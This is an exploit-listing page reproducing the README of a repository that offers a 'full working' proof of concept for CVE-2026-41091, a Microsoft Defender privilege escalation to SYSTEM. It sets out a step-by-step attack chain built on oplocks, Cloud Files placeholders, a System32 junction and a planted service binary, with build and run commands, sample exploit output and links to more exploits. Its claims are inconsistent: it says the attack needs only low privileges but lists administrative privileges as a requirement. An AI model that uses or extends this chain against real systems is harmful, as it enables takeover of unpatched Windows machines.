## https://sploitus.com/exploit?id=KITPLOIT:POSTS-GITHUB-TC4DY-CVE-2026-41091-POC-EXPLOIT-FULL-POCV2
# ☀️ CVE-2026-41091 - RedSun (SolarFlare) - Microsoft Defender LPE Exploit
    
> **Microsoft Defender Link Following Vulnerability** \- Local Privilege Escalation to NT AUTHORITY\SYSTEM
## The vulnerability is known as "RedSun" 🎯, "SolarFlare" is the name I gave to my exploit. ✅
## 📌 Overview
This repository contains a **full working Proof of Concept (PoC)** exploit for **CVE-2026-41091** , a critical local privilege escalation vulnerability in Microsoft Defender (Microsoft Malware Protection Engine). By exploiting improper link resolution (CWE-59), an authenticated low-privileged attacker can gain **NT AUTHORITY\SYSTEM** privileges.
The vulnerability, also known as **"RedSun"** or **"SolarFlare"** , allows attackers to trick Microsoft Defender into writing arbitrary files to protected system locations with SYSTEM privileges using Cloud Files API (CfAPI) and NTFS junction points.
> **Note:** This repository includes two versions:
>
> * `basic_poc.cpp` \- Simplified algorithm demonstration (educational)
> * `full_poc.cpp` \- Complete working exploit with all features
>
### 🔥 Key Features
Category| Features
---|---
**Exploitation**| ✅ Local Privilege Escalation to SYSTEM
✅ Cloud Files API (CfAPI) Integration
✅ Cloud Placeholder Creation
✅ NTFS Junction Redirection
**Techniques**| ✅ Batch Oplock Abuse
✅ VSS Snapshot Detection
✅ EICAR Trigger
✅ COM Service Activation
**Target**| ✅ Microsoft Defender < 1.1.26040.8
✅ Windows 10/11
✅ Windows Server 2019/2022
**Usability**| ✅ Detailed Logging
✅ Error Handling
✅ Random Directory Names
✅ Automatic Cleanup
## 🎯 Vulnerability Details
Attribute| Value
---|---
**CVE ID**| CVE-2026-41091
**CVSS Score**| 7.8 (High)
**CVSS Vector**| AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
**Attack Vector**| Local
**Privileges Required**| Low
**User Interaction**| None
**Impact**| SYSTEM-level code execution
**CISA KEV**| ✅ Yes (actively exploited in the wild)
**Patch Available**| Microsoft Malware Protection Engine 1.1.26040.8
### 📦 Affected Products
Product| Affected Versions| Fixed Versions
---|---|---
Microsoft Malware Protection Engine| < 1.1.26040.8| 1.1.26040.8+
Microsoft Defender Antimalware Platform| < 4.18.26040.7| 4.18.26040.7+
## 🔬 Exploit Chain
root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│ SOLARFLARE EXPLOIT CHAIN │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Create Working Directory │
│ └─> %TEMP%\SF-XXXX\ │
│ │
│ 2. Trigger Defender with EICAR │
│ └─> Write reversed EICAR to bait file │
│ │
│ 3. Wait for VSS Snapshot │
│ └─> Detect Volume Shadow Copy creation │
│ │
│ 4. Create First Batch Oplock │
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file │
│ │
│ 5. Wait for Oplock Break │
│ └─> Acquire exclusive access │
│ │
│ 6. Rename Directory │
│ └─> Move original directory to .tmp │
│ │
│ 7. Register Cloud Sync Root │
│ └─> CfRegisterSyncRoot with Cloud Files API │
│ │
│ 8. Create Cloud Placeholder │
│ └─> CfCreatePlaceholders for bait file │
│ │
│ 9. Create Second Batch Oplock │
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder │
│ │
│ 10. Wait for Second Oplock Break │
│ └─> Acquire exclusive access │
│ │
│ 11. Rename Cloud Directory │
│ └─> Move cloud directory to .cloud.tmp │
│ │
│ 12. Create NTFS Junction to System32 │
│ └─> Redirect to C:\Windows\System32 │
│ │
│ 13. Copy Payload to System32 │
│ └─> Copy bait file to System32 as TieringEngineService.exe │
│ │
│ 14. Activate Service as SYSTEM │
│ └─> CoCreateInstance(StorageTiersManagement) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
## 📦 Installation
### Prerequisites
* Windows 10/11 or Windows Server 2019/2022
* Visual Studio 2019/2022 with C++ tools
* Administrative privileges (for execution)
### Build
root@kitploit:~
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
## 🛠️ Usage
### Full Exploit (SYSTEM Privilege Escalation)
root@kitploit:~
full_poc.exe
### Basic Algorithm Demonstration
root@kitploit:~
basic_poc.exe
## 📋 Example Output
### Full Exploit Output
root@kitploit:~
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
### Basic PoC Output
root@kitploit:~
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
## 🔧 Build Instructions
### Using Visual Studio
1. Open Developer Command Prompt for VS 2022
2. Navigate to the exploit directory
3. Run:
root@kitploit:~
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
### Using CMake
root@kitploit:~
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
## ⚠️ Requirements & Limitations
Requirement| Details
---|---
**OS**| Windows 10/11, Server 2019/2022
**Privileges**| Administrative (for execution)
**Defender**| Microsoft Defender must be enabled
**Internet**| Required for VSS snapshot detection
**Patch**| Only works on unpatched systems
**Architecture**| x64 only
## 🔗 Related Exploits
Check out my other exploit repositories:
* CVE-2026-24061-PoC-Exploit \- GNU inetutils-telnetd Auth Bypass
* CVE-2026-41940-PoC-Exploit \- cPanel/WHM Authentication Bypass Exploit
* CVE-2026-0073-PoC-Exploit \- Android ADB Wireless Debugging Auth Bypass
Read more